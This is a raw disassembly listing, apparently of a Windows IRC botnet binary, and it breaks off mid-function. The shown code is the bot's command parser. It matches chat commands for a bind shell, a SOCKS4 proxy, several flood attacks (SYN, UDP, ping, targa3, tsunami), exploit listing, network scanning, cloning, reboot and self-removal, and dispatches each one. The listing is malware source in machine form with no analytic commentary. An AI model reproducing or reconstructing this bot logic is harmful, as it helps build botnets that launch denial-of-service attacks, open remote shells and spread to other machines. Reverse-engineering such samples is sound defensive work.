loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax

loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------

loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]

loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_4321EC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4D06D8
		mov	eax, dword ptr loc_42915F+1[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_4321D0
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_4321C8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_4321B0
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_432174
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_432130

loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_432108
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_402524

loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------

loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_4320D0
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_4320A0
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_43206C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94

loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_432240
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854

loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_42AE54, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_4429E0

loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42AE54
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------

loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_432340 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_4429F8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_4429E0[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------

loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h

loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch

loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1

loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C

loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h

loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_432028 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F

loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------

loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------

loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_43233C ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh

loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_43233C ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx

loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_431F84

loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_431F5C
		jmp	short loc_402B24
; ---------------------------------------------------------------------------

loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_431F40
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_431F24
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_431F10
		push	offset dword_431F04
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_431EE4
		push	offset dword_431ED4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_431EC8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_431EBC
		push	offset dword_431EB0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_431E9C
		push	offset dword_431E90
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_431E74
		push	offset dword_431E64
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_431E48
		push	offset dword_431E38
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_431E20
		push	offset dword_431E14
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_431EBC
		push	offset dword_431EB0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_431E9C
		push	offset dword_431E90
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_431DFC
		push	offset dword_431DF0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_431DE4
		push	offset dword_431DD8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_431E48
		push	offset dword_431E38
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_431E20
		push	offset dword_431E14
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_431DC8
		push	offset dword_431DB8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_431DA8
		push	offset dword_431D98
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_431E74
		push	offset dword_431E64
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_431D64
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_431DC8
		push	offset dword_431DB8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_431DA8
		push	offset dword_431D98
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_431DFC
		push	offset dword_431DF0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_431DE4
		push	offset dword_431DD8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_431D1C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_431CCC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_431CA8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_431C88
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_431BC4
		jnz	short loc_403191
		mov	eax, offset unk_431B9C

loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
